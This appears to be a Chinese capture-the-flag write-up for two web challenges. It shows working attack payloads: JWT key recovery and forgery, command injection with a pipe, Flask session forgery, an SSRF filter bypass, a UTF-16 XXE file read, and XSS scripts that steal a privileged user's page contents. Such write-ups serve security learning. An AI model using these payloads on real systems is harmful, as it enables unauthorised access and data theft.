web 01
没有环境 对着wp干巴巴的复现。搜到了一个身临其境的wp
伪造jwt
login界面,随便输入账号密码登录,抓包发现既有session又有jwt验证 (后面知道每个验证用于不同的路由)
通过header知道本题jwt是非对称加密,公钥用于验证,私钥用于加密
参考国外原题的wp CTFtime.org / DownUnderCTF 2021 (线上) / JWT / Writeup
思路是:1.先用两个普通jwt 找到公钥 2.(希望是)弱公钥,rsa的n易于被分解 可以得到私钥 这样就可以伪造jwt了
公钥
使用wp中提到的工具及其使用方法rsa_sign2n 使用命令
可以使用安装的docker 进入rsa_sign2n/standalone
文件夹中
python3 jwt_forgery.py jwt1 jwt2
最后会生成可能的公钥一些.pem文件 加下来就是尝试用可能的公钥得到私钥
私钥
使用命令
python3 RsaCtfTool.py --publickey ./public.key --private
成功生成私钥后,伪造jwt,伪造用户名admin ,登陆后能访问/game 有很多emoji
(web题的友好密码 :D),
emoji命令执行+伪造session
参考国外原题的wp https://naupjjin.github.io/2024/06/30/AIS3-pre-exam-2024-Writeup/
cat *
命令可以查看所有文件(夹) 🐱 ⭐
发现"flag":"flag.php"
想进入flag文件夹中,读取flag.php
cd flag;p:|cat * 💿 🚩 😜😐 🐱 ⭐
逗号分割,使用管道符,让后面的命令被执行。p:会被当成指令但是执行错误 所以可以查看flag文件夹下的文件内容
源码(的一部分)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
form = UploadForm()
if not payload or payload['username'] != 'admin':
error_message = 'You do not have permission to access this page.Your username is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if not session['role'] or session['role'] != 'admin':
#检测role是不是admin
error_message = 'You do not have permission to access this page.Your role is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if form.validate_on_submit():
#表单有效提交
file = form.avatar.data
if file:
filename = secure_filename(file.filename)
files = {'file': (filename, file.stream, file.content_type)}
php_service_url = 'http://127.0.0.1/upload.php'
#被用作上传文件时请求的目标地址,发送到内部的upload.php
response = requests.post(php_service_url, files=files)
if response.status_code == 200:
flash(response.text, 'success')
else:
flash('Failed to upload file to PHP service', 'danger')
return render_template('upload.html', form=form)
@app.route('/view_uploads', methods=['GET', 'POST'])
#可以查看上传文件
def view_uploads():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('view_uploads.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('view_uploads.html', form=form, error_message=error_message)
if not payload['username']=='admin':
error_message = 'You do not have permission to access this page.Your username is not admin'
return render_template('view_uploads.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
#将文件直接发送到内部的upload.php实现文件上传
filepath = form.user_input.data
pathurl = request.form.get('path')
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
#这里是waf
error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
return render_template('view_uploads.html', form=form, error_message=error_message)
params = {'s': filepath}
try:
response = requests.get("http://"+pathurl, params=params, timeout=1)
return render_template('view_uploads.html', form=form, user_input=response.text)
except:
error_message = "500! Server Error"
return render_template('view_uploads.html', form=form, error_message=error_message)
return render_template('view_uploads.html', form=form, user_input=user_input)
可以看到伪造session用的secret_key为36f8efbea152e50b23290e0ed707b4b0
python flask_session_cookie_manager3.py encode -s "36f8efbea152e50b23290e0ed707b4b0" -t "{'csrf_token' : '题目中给的' , 'role' : 'admin'}"
伪造 发包后 可以读取/upload
和 /view_uploads
文件上传
审计源码
/upload
用于上传文件,/view_uploads
用于读取:
绕过waf 用0.0.0.0来代替127.0.0.1,用ssrf中的跳转来绕过域名限制www.testctf.com@0.0.0.0
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
随便上传一个文件 抓包 修改 发送
POST /view_uploads HTTP/1.1
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Cookie: session=伪造token=伪造
Upgrade-Insecure-Requests: 1
Priority: u=0, i
...
csrf_token=题目有的&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/上传文件的目录&submit=Submit
发现报错Failed to load XML file
说明可能是解析xml 利用xxe漏洞攻击方法
xxe
ENTITY、SYSTEM、file等关键词被过滤(写了会返回hacker), 使用utf-16编码绕过 读取flag.php文件
写一个 1.xml
<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>
<userInfo>
<firstName>Yelia</firstName>
<lastName>&example;</lastName>
</userInfo>
使用命令: 将1.xml编码为utf16 写入payload.xml文件中,然后上传payload.xml
iconv -f utf8 -t utf16 1.xml>payload.xml
记录上传路径。发包读取文件时user_input
变量为该路径
就可以读到base64编码后的flag了www
web 02
xss
随便登录的账户 可以写content 被展示到网页上 xss 好像写什么都能跳转,但是cookie里面什么都没有
访问/flag
(这个目录猜的),要boss才能访问flag
思路(感觉和ns的pangbai过家家5有亿点像):
让boss访问/flag
,把boss读到/flag
页面的内容,作为新写入(我登陆的)网页的content里面。学习一下各路大佬的方法,javascript!!。
方法一
用XMLHttpRequest
对象发送异步请求
//头尾<script>标签别忘了
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var flag = xmlhttp.responseText;
//读取页面信息
var remoteServerUrl = '/content/登陆生成的哈希';
var xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open("POST", remoteServerUrl, true);
//POST方法发送content
xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//表单的发送格式
xmlhttp2.send("content=" + encodeURIComponent(flag))
}
};
xmlhttp.open('GET', '/flag', true);
//先让boss访问这个页面,以便后续读取flag数据
xmlhttp.send();
//这里触发onreadystatechange方法
方法二
用pangbai过家家5类似的方法 改一改(好简洁的嵌套两个fetch啊)
fetch('/flag')
.then(response => response.text())
//先拿到/flag的数据
.then(data => {
//触发第二次请求 发送data到content
fetch('/content/生成的哈希', {
method:'POST',
headers:{
'Content-Type': 'application/x-www-form-urlencoded'
},
body:"content="+data
});
});
方法三
python脚本(从登录到拿弗莱格)
url = 'http://目标'
login = post(url+"login",data={"username":"1","password":"1"})
hash_pattern = r'is\s+(\w+)\s*<br>'
match = re.search(hash_pattern,login.text)
content_hash = match.group(1)
#使用正则表达式匹配提取登录生成的哈希
xss = """
<script>
fetch('/flag',{
method:'GET',
})
.then(response => response.text())
.then(data => {
document.querySelector('[name="content"]').value = data;
document.querySelector('input[type="submit"][value="更新"]').click();
})
.catch(error => {
console.error('Error fetching the flag:', error);
});
</script>
"""
#模拟boss访问/flag 获取回显 写入content 模拟点击更新按钮
#.then() 方法来处理异步操作的结果。从一个异步请求获取数据,并将该数据填充到页面中的某个表单输入框中。
Comments NOTHING